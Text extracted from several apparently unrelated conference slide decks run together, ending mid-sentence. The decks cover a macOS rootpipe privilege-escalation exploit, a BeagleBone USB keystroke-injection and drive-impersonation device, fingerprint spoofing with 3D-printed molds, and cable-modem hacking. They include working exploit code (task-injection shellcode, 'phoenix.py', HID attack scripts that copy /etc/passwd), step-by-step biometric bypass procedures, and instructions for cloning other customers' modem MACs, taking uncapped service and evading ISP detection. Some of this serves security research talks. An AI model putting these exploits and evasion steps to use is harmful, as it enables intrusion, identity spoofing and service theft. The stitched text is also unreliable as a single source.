restrictedByEntitlements:  dyld::log("main  executable  (%s)  is  code  signed  with  entitlements\n",  sExecPath); nope: loader ignores DYLD_ env. vars for entitled binaries Mach-O loader & DYLD_ environment vars can dylib hijacking be (ab)used? DYLIB HIJACKING nope: no vulnerable apps are entitled white paper
 www.virusbtn.com/dylib 'hijackable' apps more info can code be injected into a entitled process? RUN-TIME INJECTION //shellcode  (here:  x86_64) char  shellCode[]  =  "\x55"  //  pushq  %rbp  "\x48\x89\xe5"  //  movq  %rsp,  %rbp  ....
 //1:  get  task  for  pid task_for_pid(mach_task_self(),  pid,  &remoteTask);
 //2:  alloc  remote  stack/code
 mach_vm_allocate(remoteTask,  &remoteStack64,  STACK_SIZE,  VM_FLAGS_ANYWHERE);
 mach_vm_allocate(remoteTask,  &remoteCode64,  sizeof(shellCode),  VM_FLAGS_ANYWHERE);
 //3:  copy  code  into  remote  proc
 mach_vm_write(remoteTask,  remoteCode64,  (vm_address_t)shellCode,  sizeof(shellCode));
 //4:  make  remote  code  executable
 vm_protect(remoteTask,  remoteCode64,  sizeof(shellCode),  FALSE,  VM_PROT_READ|VM_PROT_EXECUTE);
 //5:  init  &  start  remote  thread
 remoteThreadState64.__rip  =  (u_int64_t)  (vm_address_t)  remoteCode64; remoteThreadState64.__rsp  =  (u_int64_t)  remoteStack64; remoteThreadState64.__rbp  =  (u_int64_t)  remoteStack64;
 thread_create_running(remoteTask,  x86_THREAD_STATE64,  (thread_state_t)&remoteThreadState64,  x86_THREAD_STATE64_COUNT,  &remoteThread); nope: task_for_pid() requires r00t run-time process injection can (app-specific) plugins be (ab)used? EVIL PLUGINS maybe!? Directory Utility appears to support plugins #  codesign  -­‐d  -­‐-­‐entitlements  -­‐  /System/Library/CoreServices/Applications/Directory\  Utility.app/ Contents/MacOS/Directory\  Utility <?xml  version="1.0"  encoding="UTF-­‐8"?> <!DOCTYPE  plist  PUBLIC  "-­‐//Apple//DTD  PLIST  1.0//EN"  "http://www.apple.com/DTDs/ PropertyList-­‐1.0.dtd"> <plist  version="1.0"> <dict>   <key>com.apple.private.admin.writeconfig</key>   <true/> </dict> </plist> Directory Utility Plugins can app-specific plugin loading be abused? EVIL PLUGINS #  fs_usage  -­‐w  -­‐f  filesystem open  (R_____)  /System/Library/CoreServices/Applications/Directory  Utility.app/Contents/PlugIns/ NIS.daplug/Contents/MacOS/NIS open  (R_____)  /System/Library/CoreServices/Applications/Directory  Utility.app/Contents/PlugIns/ LDAPv3.daplug/Contents/MacOS/LDAPv3 open  (R_____)  /System/Library/CoreServices/Applications/Directory  Utility.app/Contents/PlugIns/ Active  Directory.daplug/Contents/MacOS/Active  Directory ... void  -­‐[PluginController  loadPlugins] {  rax  =  [NSBundle  mainBundle];  rax  =  [rax  builtInPlugInsPath];  [self  loadPluginsInDirectory:rax];  return; } install an evil plugin? Directory Utility loading its plugins simply copy in a plugin to 'install' & get loaded INSTALL THE PLUGIN (AS ROOT) plugin installed auth prompt :( but...plugin does get loaded! so close, but still so far? or.... TO RECAP The entitled 'Directory Utility' app will load (unsigned) plugins, which then can authenticate with the WriteConfig XPC service! but don't you need root to install plugin? owned by root :( ...but we can change that! #gameover rootpipe reborn on OS X 10.10.3 PHOENIX, IN 1, 2, 3 copy Directory Utility to /tmp to gain write permissions copy plugin (.daplugin) into Directory Utility's internal plugin directory execute Directory Utility XPC request evil plugin attacker's payload authenticates WriteConfig XPC service Dir. Utility $  ls  -­‐lart  /private/tmp drwxr-­‐xr-­‐x  patrick  wheel  Directory  Utility.app #trigger  rootpipe  on  OS  X  10.10.3 def  phoenix():  #copy  Directory  Utility.app  to  /tmp  #  -­‐>this  folder  is  (obv)  accessible  to  all  shutil.copytree(DIR_UTIL,  destination)  #copy  evil  plugin  into  app's  internal  plugin  directory  #  -­‐>since  app  is  in  /tmp,  this  will  now  succeed  shutil.copytree('%s'  %  (ROOTPIPE_PLUGIN),  '%s/%s/%s'  %  (destination,  DIR_UTIL_PLUGINS,  ROOTPIPE_PLUGIN))  #exec  Directory  Utility.app  #  -­‐>will  trigger  load  of  our  unsigned  bundle  (Phoenix.daplug)  #  the  bundle  auth's  with  'WriteConfigClient'  XPC  &  invokes  createFileWithContents:path:attributes:  #  since  Directory  Utility.app  contains  the  'com.apple.private.admin.writeconfig'  entitlement,  we're  set  ;)  os.system('open  "%s"  &'  %  destination) if only all priv-esc bugs where this easy! PHOENIX.PY phoenix python script take 2 ->m0ar checks APPLE'S FIX: CVE-2015-3673 OS X 10.10 OS X 10.10.3 OS X 10.10.4  listener:shouldAcceptNewConnection: improved authentication & location checks APPLE FIX: CVE-2015-3673 new entitlements com.apple.private.admin.writeconfig.voiceover location checks binary in /System "The problem of their fix is that there are at least some 50+ binarie [sic] using it. A single exploit in one of them and the system is owned again because there is no fundamental fix inside writeconfig" -@osxreverser } com.apple.private.admin.writeconfig.enable-sharing binary in /usr } OS X DEFENSE keeping your mac secure free OS X tools & malware samples OBJECTIVE-SEE malware samples :) KnockKnock BlockBlock TaskExplorer KNOCKKNOCK UI detecting persistence: now an app for that! KnockKnock (UI) KNOCKKNOCK UI VirusTotal integration detect submit rescan results VirusTotal integrations BLOCKBLOCK a 'firewall' for persistence locations status bar BlockBlock, block blocking :) HackingTeam's OS X implant "0-day bug hijacks Macs" (payload) TASKEXPLORER explore all running tasks (processes) filters signing virus total dylibs files network CONCLUSIONS …wrapping this up OS X security, is often quite lame! XPC interfaces malware patches } audit all thingz! QUESTIONS & ANSWERS patrick@synack.com @patrickwardle feel free to contact me any time! "What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?" -DJ-2000, reddit.com final thought ;) syn.ac/defconRootPipe } credits - thezooom.com - deviantart.com (FreshFarhan) - http://th07.deviantart.net/fs70/PRE/f/2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg - iconmonstr.com - flaticon.com - https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x - https://reverse.put.as/2015/04/13/how-to-fix-rootpipe-in-mavericks-and-call-apples-bullshit-bluff- about-rootpipe-fixes/ - http://www.objc.io/issues/14-mac/xpc/ - https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again images resources
pdf
One Device to Pwn Them All Phil Polstra Bloomsburg University of Pennsylvania @ppolstra http://philpolstra.com What is this talk about? ● A pocket sized device that can be ● Drop box (can be battery powered for days if needed) ● Remote hacking drone (controlled from up to 2 miles away) ● Airborne hacking drone (when combined with RC aircraft) ● Hacking console (can and has been built into a lunch box) ● Used for USB-based attacks – Write protect flash drive – USB impersonation – Scriptable HID Why should you care? ● BeagleBone Black running Deck Linux is ● Small ● Flexible (wired/wireless battery/USB/wall power) ● Can be networked to integrate into sophisticated pentests ● So, you might have one on you ● Exploit brief physical access to target ● As we'll see, can do a lot in a couple seconds Who am I? ● Professor at Bloomsburg University teaching digital forensics & information security ● Author: Linux Forensics & HPTWLPD ● Programming from age 8 ● Hacking hardware from age 12 ● Also known to fly, build planes, and do other aviation stuff ● Course author for PentesterAcademy.com and others Roadmap ● Quick overview of BBB running Deck Linux ● Exporting BBB-attached USB drive to PC (read-only) ● Write-enabling an exported drive (BHEU12) ● USB mass storage device impersonation (DC20) ● Scriptable USB HID keyboard ● Base OS ● Built on Ubuntu 14.04 ● Optimized for the BBB & pentesting ● Use as dropbox or hacking console ● Over 4000 packages pre-installed (fluff free) ● MeshDeck ● Adds remote control via 802.15.4/ZigBee networking ● Allows coordinated attacks with multiple remote drones ● AirDeck ● Combined with the MeshDeck to allow airborne drone or router ● 4Deck ● Forensic add-on that automatically write blocks USB mass storage devices (udev rules-based) ● Udeck (USB-based attacks) USB Gadget Basics ● USB composite “gadget” device used for ● Mass storage ● Audio ● Networking ● MIDI ● CDC ● Webcam ● HID (4.x kernels only!) USB Gadget on BBB ● Default config uses g_multi (USB composite gadget) ● Normally exports boot partition ● Normally configures USB Ethernet with static IPs – BBB 192.168.7.2 – Host PC 192.168.7.1 ● Some distributions start GETTY as well ● Default conflicts with what we want ● Never export a mounted filesystem unless read-only on both ends Exporting USB Mass Storage Device #!/bin/bash # stop the GETTY service if needed if which 'systemctl' ; then systemctl stop serial-getty@ttyGS0.service >/dev/null fi # unload current composite gadget modprobe -r g_multi # these variables are used to export all partitions fstr="" rostr="" # unmount the USB drive for d in $(ls /dev/sd*) ; do if echo "$d" | egrep '[1-9]$' >/dev/null ; then umount $d fstr+=",$d" rostr+=",1" fi done Exporting USB MS (continued) fstr=${fstr:1} # strip leading comma rostr=${rostr:1} echo "$fstr" >/tmp/usbexports # store for later in case we re-export as r/w # now export it vend=$(( 0x1337 )) # pick your favorite vid/pid prod=$(( 0x1337 )) echo "$vend" >/tmp/usbvend # save vid/pid for possible r/w export echo "$prod" >/tmp/usbprod modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr \ removable=1 nofua=1 idVendor=$vend idProduct=$prod USB Mass Storage Read-only Export Demo Making the exported drive writable ● For after you kill any anti-virus! (DFIU) #!/bin/bash # these variables are used to export all partitions if [ -e /tmp/usbexports ] ; then fstr=$(cat /tmp/usbexports) modprobe -r g_multi modprobe g_multi file=$fstr cdrom=0 stall=0 \ removable=1 nofua=1 idVendor=$(cat /tmp/usbvend) \ idProduct=$(cat /tmp/usbprod) fi Demo: Making the Exported Drive Writable USB Mass Storage Impersonation ● Some people think they can block users from mounting unauthorized flash drives ● Typically use endpoint security software and/or rules to filter by VID/PID ● Microcontroller device presented at DC20 ● Can do same thing with BBB and shell scripting ● Better performance (USB 2.0 High Speed vs. Full Speed) Impersonator: Part 1 - Setup #!/bin/bash usage () { echo "Usage: $0 [-v Vendor] [-p Product] [-d Delay]" echo "USB impersonator shell script. Will interate" echo "over list if no vendor and product id given." echo "Standard delay is four seconds before switching." exit 1 } declare -i vend=0x1337 declare -i prod=0x1337 declare -i delay=4 parseargs () { useFile=true delay=$(( 2 )) while [[ $# > 1 ]] do key="$1" case $key in -v) vend="0x$2" useFile=false shift ;; snip esac shift done } Impersonator: Part 2 – Unmount Drive if which 'systemctl' ; then systemctl stop serial-getty@ttyGS0.service >/dev/null fi # unload current composite gadget modprobe -r g_multi # these variables are used to export all partitions fstr="" rostr="" # unmount the USB drive for d in $(ls /dev/sd*) ; do if echo "$d" | egrep '[1-9]$' >/dev/null ; then umount $d fstr+=",$d" rostr+=",1" fi done fstr=${fstr:1} rostr=${rostr:1} echo "$fstr" >/tmp/usbexports # store the process ID so it can be killed echo "$BASHPID" > /tmp/impersonator-pid Impersonator: Part 3 – Export Drive # now export it if $useFile ; then declare -a arr while read line do arr=(${line//,/ }) v=${arr[0]} ; vend="0x$v" p=${arr[1]} ; prod="0x$p" modprobe -r g_multi modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 idVendor=$vend idProduct=$prod sleep $delay done < 'vidpid-list' else modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 \ idVendor=$vend idProduct=$prod fi USB Impersonator Demo Creating a HID: Part 1 – Unload g_multi ● Default devices (Ethernet, etc.) are loaded via g_multi ● Must be unloaded for our HID to work #!/bin/bash # This script will create a HID device on the BBB # if the g_multi device is loaded remove it if lsmod | grep g_multi >/dev/null ; then modprobe -r g_multi fi Create a HID: Part 2 - Configfs ● Configfs is used to configure HID at install time ● A /sys/kernel/config directory should already exist # check for the existance of configfs if mount | grep '/sys/kernel/config' >/dev/null ; then umount /sys/kernel/config fi mount none -t configfs /sys/kernel/config Create a HID: Part 3 - Create Device # create a keyboard device kbdir="/sys/kernel/config/usb_gadget/kb" if [ ! -d "$kbdir" ] ; then mkdir $kbdir fi echo 0x1337 >"$kbdir/idVendor" echo 0x1337 >"$kbdir/idProduct" echo 0x0100 >"$kbdir/bcdDevice" echo 0x0110 >"$kbdir/bcdUSB" Create a HID: Part 4 – Add a Config if [ ! -d "$kbdir/configs/c.1" ] ; then mkdir "$kbdir/configs/c.1" fi echo 500 >"$kbdir/configs/c.1/MaxPower" if [ ! -d "$kbdir/functions/hid.usb0" ] ; then mkdir "$kbdir/functions/hid.usb0" fi echo 1 >"$kbdir/functions/hid.usb0/subclass" echo 1 >"$kbdir/functions/hid.usb0/protocol" echo 8 >"$kbdir/functions/hid.usb0/report_length" Create a HID: Part 5 - Finalize ● Need a report descriptor for keyboard ● Create symlink for configuration ● Activate! cp report_descriptor_kb.bin "$kbdir/functions/hid.usb0/report_desc" ln -s "$kbdir/functions/hid.usb0" "$kbdir/configs/c.1" echo musb-hdrc.0.auto >"$kbdir/UDC" HID Report Descriptor Detail 0501 // usage page 0906 // usage (keyboard) a101 // collection (application) 0507 // usage page (keyboard) 19e0 // usage min (left control) 29e7 // usage max (right GUI) 1500 // logical min (0) 2501 // logical max (1) 7501 // report size (1) 9508 // report count (8) 8102 // input (data, var, abs) 9501 // report count (1) 7508 // report size (8) 8101 // input (data, var, abs) 9505 // report count (5) 7501 // report size (1) 0508 // usage page (LEDs) 1901 // usage min (num lock) 2905 // usage max 9102 // output (data, var, abs) 9501 // report count (1) 7503 // report size (3) 9101 // output (data, var, abs) 9506 // report count (6) 7508 // report size (8) 1500 // logical min (0) 26ff00 // logical max (255) 0507 // usage page (key codes) 1900 // usage min (0) 2aff00 // usage max (255) 8100 // input (data, var, abs) c0 // end collection Demo Our New HID Using the new HID Byte Name Description 0 Modifier “Shift” keys 1 Reserved 0x00 2 Key 1 Keycode “a” = 0x04, etc. 3 Key 2 “ 4 Key 3 “ 5 Key 4 “ 6 Key 5 “ 7 Key 6 “ ● Send HID report to /dev/hidg0 ● Must send key press & release ● Use Python Python Prelims import struct, time # define the key modifiers KeyModifier = { 'LeftCtrl' : 1 << 0, 'LeftShift' : 1 << 1, 'LeftAlt' : 1 << 2, 'LeftGui' : 1 << 3, 'RightCtrl' : 1 << 4, 'RightShift' : 1 << 5, 'RightAlt' : 1 << 6, 'RightGui' : 1 << 7 } # define ASCII to keycode mapping # maps ASCII to (modifier, keycode) tuple AsciiToKey = { 'a' : (0, 4), 'b' : (0, 5), 'c' : (0, 6), 'd' : (0, 7), 'e' : (0, 8), 'f' : (0, 9), 'g' : (0, 10), 'h' : (0, 11), 'i' : (0, 12), 'j' : (0, 13), 'k' : (0, 14), 'l' : (0, 15), 'm' : (0, 16), 'n' : (0, 17), 'o' : (0, 18), 'p' : (0, 19), 'q' : (0, 20), 'r' : (0, 21), 's' : (0, 22), 't' : (0, 23), 'u' : (0, 24), 'v' : (0, 25), 'w' : (0, 26), 'x' : (0, 27), 'y' : (0, 28), 'z' : (0, 29), '1' : (0, 30), '2' : (0, 31), '3' : (0, 32), '4' : (0, 33), '5' : (0, 34), '6' : (0, 35), '7' : (0, 36), '8' : (0, 37), '9' : (0, 38), '0' : (0, 39), snip Python: UdeckHid Class class UdeckHid(): def __init__(self, hidDev="/dev/hidg0"): self.hidDev = hidDev def sendKey(self, keycode, modifier): report = struct.pack("BBBBL", modifier, 0x00, keycode, 0x00, 0x00000000) with open(self.hidDev, "wb") as hd: hd.write(report) # Send key press report = struct.pack("Q", 0) # key release hd.write(report) def sendShiftKey(self, asciiChar): self.sendKey(AsciiToKey[asciiChar][1], 2) snip def sendChar(self, asciiChar): (modifier, keycode) = AsciiToKey[asciiChar] if keycode !=0: self.sendKey(keycode, modifier) def sendString(self, asciiString): for i in range(0, len(asciiString)): self.sendChar(asciiString[i]) def sendLine(self, asciiString): self.sendString(asciiString) self.sendEnter() Simple Linux Attack udh = UdeckHid() udh.sendLine("env") udh.sendEnter() udh.sendLine("nano hacked.txt") for i in range(0,10): udh.sendString("You are so hacked!\n") udh.sendKey(AsciiToKey['x'][1], 1) udh.sendKey(AsciiToKey['y'][1], 0) udh.sendEnter() udh.sendEnter() udh.sendLine("cat /etc/passwd > gotyourpasswords.txt") udh.sendLine("clear") Simple Linux Attack Demo Let's Attack Windows ● What else is Windows good for anyway? udh = udeckHid.UdeckHid() udh.sendWindowKey('r') udh.sendLine('notepad') for i in range(0, 50): udh.sendString('You are so hacked\n') udh.sendAltKey('f') udh.sendChar('x') udh.sendEnter() udh.sendLine('hacked.txt') udh.sendWindowsUpsideDownScreen() udh.sendWindowsLockScreen() Simple Windows Attack Demo Questions? ● Demo Labs Saturday 12:00 – 14:00 ● PentesterAcademy booth (??, ask if I'm not there) ● Sign up for a chance to win one of two gift sets which include: – Hacking and Penetration Testing with Low Power Devices – Linux Forensics – CatchWire appliance
pdf
BYPASSING BIOMETRIC SYSTEMS WITH 3D PRINTING Yamila Levalle @ylevalle WHAT IS A BIOMETRIC SYSTEM? { } Behavioural Traits: ● Gait ● Voice ● Signature Physical Traits: ● Iris ● Fingerprint ● Ear Shape ● DNA ● Face ● Vein Pattern HOW BIOMETRIC SYSTEMS WORK? BIOMETRIC SYSTEMS ATTACKS UNITED STATES 2010 PRESENTATION ATTACKS IN REAL LIFE BANK ROBBERY AND MASKED PLANE PASSENGER CANADA 2014 UNITED STATES 2015 CHINA 2011 Suspects on the left and suspects wearing masks on the right PRESENTATION ATTACKS IN REAL LIFE FAKE FINGERS HOW 3D PRINTING COULD HELP TO BYPASS BIOMETRIC SYSTEMS MAKING MY OWN EXPERIMENTS TO BYPASS BIOMETRIC SYSTEMS FINGERPRINT RECOGNITION Minutiae and Typica FINGERPRINT SENSORS OPTICAL FINGERPRINT SENSOR Optical fingerprint sensors are the oldest method of capturing and comparing fingerprints. this technique relies on capturing an optical image, essentially a photograph, and using algorithms to detect unique patterns on the surface, such as ridges or unique marks, by analyzing the lightest and darkest areas of the image. CAPACITIVE FINGERPRINT SENSOR Capacitive fingerprint sensors use tiny capacitor circuits to collect data about a fingerprint. As capacitors can store electrical charge, connecting them up to conductive plates on the surface of the scanner allows them to be used to track the details of a fingerprint. The charge stored in the capacitor will be changed slightly when a finger’s ridge is placed over the conductive plates, while an air gap will leave the charge at the capacitor relatively unchanged. An integrator circuit is used to track these changes. ULTRASONIC FINGERPRINT SENSOR The hardware consists of an ultrasonic transmitter and a receiver. An ultrasonic pulse is transmitted against the finger that is placed over the scanner. Some of this pulse is absorbed and some of it is bounced back to the sensor, depending upon the ridges, pores and other details that are unique to each fingerprint. DEVICES TO TEST: CELLPHONES AND ATTENDANCE SYSTEMS Hysoon FF395 Optical Fingerprint Scanner Face Recognition Samsung Galaxy S10 Ultrasonic Fingerprint Scanner Face Recognition Samsung Galaxy A30 Capacitive Fingerprint Scanner Face Recognition TA040 Optical Fingerprint Scanner MATERIALS NEEDED FOR THE TESTS (THESE AND A LOT MORE) GREASE ATTACKS  Preconditions for the attack For using this kind of attack one needs to have a clear grease stain left on the surface of the scanner. This stain has to have most of the important characteristics of the fingerprint left on the pad so that the scanner can reliably read the same line-ends and curves that it detected on the previous user Requirements: ● Fingerprint scanner ● Legitimate user enrolled fingerprint ● Applicable fingerprint stain on the scanner's pad left by the previous user ● Temperature between 0-50°C (scanners operating temperature) ● Gummy bears, silicone fingertips, playdoh, latex gloves GREASE ATTACK RESULTS Materials Tested and Results: • Gummy Bears: Finger recognized • Playdoh: Finger recognized • Latex Glove: Finger recognized • Moist Breathe: No Finger recognized • Silicon Fingertip: Finger recognized “ENHANCED” GREASE ATTACKS AND RESULTS The problem with grease attacks is that in most cases, a regular grease stain on the scanner surface is not enough to fool the sensor. We need to enhance it with other substances to obtain better results impersonating legitimate users, these substances must be transparent so that the user does not notice them and with ointment consistency to better enhance the fingerprint stain. This substance could be spread in the legitimate user fingerprint or on the fingerprint sensor. Researchers Fingerprints are Blurred CONSENSUAL ATTACKS (WITH COOPERATION) Preconditions for the attack The term consensual suggests the user we are taking the fingerprint from is aware of the process and actively participates by pressing his finger into some kind of a mold. Even though we have classified this approach as “consensual”, there are unconsensual ways to go about achieving the same. Materials for Molds: • Alginate • Epoxy putty • Playdoh • Hot Glue • Candle Wax Materials for Casting: • Silicone • Ballistic gelatin • Liquid latex • Synthetic Resin • Wood glue • Researchers Fingerprints are Blurred again CONSENSUAL ATTACKS RESULTS UNCONSENSUAL ATTACKS (WITHOUT COOPERATION) In these attacks the user does not participate actively and latent fingerprints are obtained in a non-cooperative way. Assuming the correct latent fingerprint has been identified, the following are the steps to follow: Procedure 1. Enhancing the latent fingerprint with glue fumes or fingerprint powder 2. Lifting the latent fingerprint with digital camera or transparent tape 3. Digitally enhancing the fingerprint with software 4. Creating a mold 5. Casting artificial fingers with silicone, liquid latex or wood glue Materials • Ethylcyanoacrylate Glue • Fingerprint Powder and brush • Digital Camera with macro functionality • Transparent Tape • Fingerprint Ink Pad • Transparency • Plastic wrap • Latex glove • Silicone • Liquid Latex • Wood glue • Paper MY OWN CYANOACRYLATE FUMING CHAMBER XD UNCONSENSUAL ATTACKS RESULTS UNCONSENSUAL ATTACKS WITH 3D PRINTING: MATERIALS AND SOFTWARE The precision of a domestic UV Resin printer is 25 microns. Human papillary ridges in general have a height between 20-60 microns. UNCONSENSUAL ATTACKS WITH 3D PRINTING Procedure 1. Lift the latent fingerprint with a digital camera with macro functionality 2. Use a tool for digitally enhance the fingerprints, for example this Python tool based on the Utkarsh-Deshmukh tool: https://github.com/ylevalle/Fingerprint-Enhancement-Python 3. Convert the enhanced JPG file to an SVG file, import the SVG file into Tinkercad to create a 3D model of the fingerprint 4. Configure the fingerprint length and width according to the measures of the original latent fingerprint, put a thin back block behind the fingerprint, configure the ridge height and create two different 3D models: one negative or hollow for casting and one positive for direct tests. 5. Export the 3D models file in a 3D printable file format (STL) and upload it on the Anycubic Photon 3D Printer. 6. Once the printing is completed, the 3D printed molds require rinsing in Isopropyl alcohol. After rinsed parts dry, the molds require post-curing using an UV lamp or direct sunlight. 7. Fill the 3D printed negative or hollow molds with: ● liquid latex or wood glue Digitally enhanced test fingerprint UNCONSENSUAL ATTACKS WITH 3D PRINTING: RESULTS NEXT STAGE OF THE RESEARCH: FACIAL RECOGNITION SYSTEMS ● ● ● https://blog.talosintelligence.com/2020/04/fingerprint-research.html ● https://msutoday.msu.edu/news/2017/real-or-fake-creating-fingers-to-protect-identities/ ● http://biometrics.cse.msu.edu/Publications/Fingerprint/CaoJain_HackingMobilePhonesUsing2DPrintedFingerpri nt_MSU-CSE-16-2.pdf ● Chugh, Tarang & Jain, Anil. (2018). Fingerprint Presentation Attack Detection: Generalization and Efficiency. ● Pakutharivu, P. & Srinath, M.V.. (2017). Analysis of Fingerprint Image Enhancement Using Gabor Filtering With Different Orientation Field Values. Indonesian Journal of Electrical Engineering and Computer Science. 5. 427-432. 10.11591/ijeecs.v5.i2.pp427-432. ● Galbally, Javier & Marcel, Sébastien & Fierrez, Julian. (2014). Image Quality Assessment for Fake Biometric Detection: Application to Iris, Fingerprint and Face Recognition. IEEE Trans. on Image Processing. 23. 710-724. 10.1109/TIP.2013.2292332. ● Wiehe, Anders & Org, Anders@wiehe & Søndrol, Torkjel. (2005). Attacking Fingerprint Sensors. ● Costa-Pazo, Artur & Bhattacharjee, Sushil & Vazquez-Fernandez, Esteban & Marcel, Sébastien. (2016). The Replay-Mobile Face Presentation-Attack Database. 10.1109/BIOSIG.2016.7736936. ● Erdogmus, Nesli & Marcel, Sébastien. (2014). Spoofing Face Recognition With 3D Masks. Information Forensics and Security, IEEE Transactions on. 9. 1084-1097. 10.1109/TIFS.2014.2322255. ● Bhattacharjee, Sushil & Marcel, Sébastien. (2017). What You Can't See Can Help You - Extended-Range Imaging for 3D-Mask Presentation Attack Detection. 1-7. 10.23919/BIOSIG.2017.8053524. REFERENCE MATERIALS AND RECOMMENDED LECTURES Yamila Levalle @ylevalle THANK YOU DEFCON SAFE MODE! AND TO ALL THE COWORKERS AND FRIENDS THAT HELPED ME WITH THIS RESEARCH @laspibasdeinfosec
pdf
1 http://www.soldierx.com/defcon18/hacking_docsis_for_fun_and_profit-blake_bitemytaco.ppt Humor 2 Maybe Ted Stevens has a series of hacked modems and a drop amp at his place. Could this be the reason he thinks that the internet is a series of tubes? Background • Personal – I currently do research for S2ERC (Security and Software Engineering Research Center), an NSF Industry/University Cooperative Research Center. – Bitemytaco is one of the root admins at SBHacker (http://www.sbhacker.net) • Speech – We covered DOCSIS 2.0 and below at Defcon 16 with devDelay. – Our last speech led to a plethora of people to come to SBHacker and discuss modem technology (including employees at the various ISPs) 3 What This Speech Will Cover • Requirements (for our examples) • Previous Speech Overview – Anonymous access – Cloning HFC MAC linked to an ISP account – How anonymous you really are – Previous Firmware • DOCSIS 3.0 – Changes from the ISPs and Hackers • Packetcable – How VOIP got owned • United States vs Modem Hackers – Criminal Cases – Who all got a visit from the party van after our last speech? • New Tools and Firmware – A review of all of the fancy new tools and firmware • The Future – Botnet problems, the law, and future security solutions 4 Requirements • What do you need for our examples? – Coaxial connection to the cable company – SPI/JTAG cable • SPI/JTAG (Serial Peripheral Interface/Joint Test Action Group) – USB Cypress or FTDI based SPI/JTAG(Fast) – SPI/Parallel JTAG buffered (Slow) – SB6120/SBV6220/DPC3000 cable modem • Other modems can be modified – Soldering Skills • YouTube is an excellent resource for soldering reference • Solder wires directly to SPI flash chip – Applications for flashing the firmware onto a modem • USBJTAG NT • Haxomatic • SPI Programmer 5 • Hardware (blame the manufacturers) – Absolutely no physical security – Common hardware components • Software (blame the developers) – Initial hacks involved netboot/etherboot, enabling built in factory mode (implemented by the OS and enabled by setting a SNMP OID) or using stock (noisy) bootloaders. – Diagnostic firmware does the job, but better firmware with custom features is easy to make • ISP (blame the administrators) – Improperly configured CMTS – Security flaws in CMTS IOS – Costs & Convenience 6 Why hacking modems is possible? Cable Network Overview 7 Anonymous Internet Access • For our example of anonymous internet access, we will be using Comcast. • Why Comcast? – According to Alex Goldman’s research on isp-planet.com, as of the fourth quarter of 2007 - Comcast is the second most used ISP in the United States, and the number one used ISP using DOCSIS. (http://www.isp- planet.com/research/rankings/usa.html) • If you hook a non-provisioned modem into the Comcast network, the only page that comes up is a Comcast page asking you to sign up for service. • You can generally connect inbound to the computer that is hooked up to the modem but you cannot connect outbound from the computer. • Changing the DNS servers gives you the ability to connect out (some of the time). Forcing a config file at this point is all that is necessary to increase the service class for a non provisioned modem. • Disabling SNMP filters in the console removes port blocking at the modem level and allows a user to poll other modems for useful information on ISP that allow SNMP polling through the entire HFC network: – cd /snmp – filters off – type and return yes for changes to take immediate effect 8 Faster Speeds • Anonymous access is good, but faster anonymous access is better. • In order to increase speeds, you can force a faster configuration file from the ISP, served locally or from configs stored in flash memory. • You may specify a TFTP server, Comcast uses static instead of dynamic configs and each server has the same configuration files. • Some example configuration files that Comcast uses: – DOCSIS 1.0 • d10_m_sb5100_speedtierextreme2_c05.cm = 16/2 • d10_m_sb5100_showcase_c01.cm = 55/5 • d10_m_na_c05.cm = 0/0 (unrestricted) – DOCSIS 1.1 • d11_m_sb5100_speedtierextreme2_c05.cm = 16/2 • d11_m_sb5100_showcase_c01.cm = 55/5 • d11_m_na_c05.cm = 0/0 (unrestricted) 9 Changing the Configuration File • Navigate to http://192.168.100.1:1337 • The example is from Haxorware on the SB5101 10 Techniques for Remaining Anonymous • Disable the SNMP daemon after registration – cd /non-vol/snmp – diag_disable_post_reg true – write • Hide the Modem’s HFC IP Address (You cannot hide CPE IP addresses) – cd /non-vol/snmp – hide_ipstack_ifentries true – write • Hide Reported Software Version (system OID) – cd /snmp – delete sysDescr – write • These and other settings can be hard coded into or set by firmware for a desired result submitted to the CMTS. 11 Cloning • Basic Cloning involves specifying a provisioned HFC MAC address in order to get a class of service assigned to the MAC. • Due to the broadcast nature of the network, you must use a HFC MAC address that is on a CMTS other than yours. • This method allows you to then force any config file, but it associates your modem with someone else’s account. 12 Cloning (Cont’d) • The CMTS (Cable Modem Termination System) does not prevent the cloning of a MAC address from Node 3 to Node 1. 13 Obtaining Information for Cloning • MAC addresses are traded privately on forums and IRC. • Finding HFC MAC addresses on your node can be found by sniffing the DHCP packets that are sent from the CMTS to all modems. • Wireshark can filter out broadcasted packets to easily assemble a list of HFC MAC’s on a user’s node. • SNMP scanning the preferred method for obtaining HFC MAC’s for multiple nodes with ISP’s that allow it. • Exact clones can be used by obtaining all identifying information from the modem including the HFC MAC, ETHER MAC, USB MAC, Serial, and all BPI+ Certificates. • Exact clones are usually non-provisioned modems - the collective information simply allows the modem to pass initial authentication checks and gain network access. A faster config file would be forced to bypass the ISP assigned non- provisioned config that has a limited class of service. 14 How Anonymous Are You? • The Operations Support System is normally unable to pinpoint a modem to an exact location due to the design of the hybrid fiber coax cable network. • Usually, detection only goes as far as the node where the modem in question is located. 15 How Anonymous Are You? (cont’d) • Some ISPs poll for poor signal levels. – Technicians would disconnect each line to find out which line is causing the signal loss. – You can prevent this by using an amp if your signal strength is too low. We personally like the BDA-S1 Broadband Drop Amp from Motorola. – The downstream should be between -15 and +15 dBmV and the upstream should be between -35 to -50 (Upstream is always negative). • Many ISPs perform routine audits on lines that should not be connected in order to verify that they are not. – Most ISPs use colored tags to identify the account and service. • Some ISP have adopted & implemented (at a cost) ROC – Regional Operating Centers: independently networked to each CMTS that collectively maintains a customer MAC database. 16 Precautions to Take • Do not transfer personal information over unencrypted connections….EVER! • Keep an eye out for the party van (or cable technicians) • Pay for service on one modem and have another one hooked up that is modified for anonymous internet • Be careful with which HFC MAC addresses you clone • Remove line identifiers to assist in anonymity (especially at apartment complexes) 17 Previous Firmware • Features of Sigma X2/Haxorware: – Enable factory mode – Change all associated MAC Addresses – Change serial number – Disable ISP firmware upgrade – Disable reboots – Force network access (ignore unauthorized messages) – Disable & Set ISP filters (ports blocked at modem level) – Specify config filename and TFTP server IP address – Force config file from ISP, local TFTP or uploaded flash memory. – Get & Set SNMP OID values and Factory mode OID values – Broadcom CLI access through serial connection or telnet – Full shell access to VxWorks/eCos (unix-like OS) – Upload, flash and upgrade firmware 18 DOCSIS 3.0 • DOCSIS 3.0 is 